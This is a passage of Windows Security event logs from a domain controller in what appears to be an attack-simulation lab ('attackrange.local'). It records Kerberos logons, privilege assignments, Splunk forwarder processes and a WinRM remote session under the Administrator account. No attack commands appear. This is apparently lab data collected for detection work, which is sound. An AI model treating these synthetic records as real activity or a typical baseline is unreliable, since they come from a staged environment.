ID: 0xd04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257441 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x500A08 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 50932 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:32:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257440 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x500A08 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:32:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257439 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x5009BF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:32:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257438 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x5009BF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:32:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257437 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x500890 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 50931 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:32:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257436 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x500890 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:32:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257435 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257448 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257447 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf4c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257446 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x500890 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:32:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257445 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x5009BF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:32:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257444 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x500A08 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:32:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257443 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x500A79 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 50933 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:32:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257442 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x500A79 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 02:32:23 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257449 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x500A79 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:32:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257459 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x50245D - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7dc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x133c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257458 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x50245D - -Process Information: - New Process ID: 0x133c - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257457 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a0 - New Process Name: C:\Windows\System32\dllhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:32:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257456 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x5d8 - Process Name: C:\Windows\System32\svchost.exe -03/12/2021 02:32:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=257455 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x541A8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 02:32:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257454 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x50245D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:32:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257453 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x50245D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {E434B07B-F93F-4B18-C004-AB2738D896EE} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:32:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257452 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {E434B07B-F93F-4B18-C004-AB2738D896EE} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:32:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257451 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {E434B07B-F93F-4B18-C004-AB2738D896EE} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:32:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257450 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:32:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257471 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5040E7 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:32:50 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257470 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK 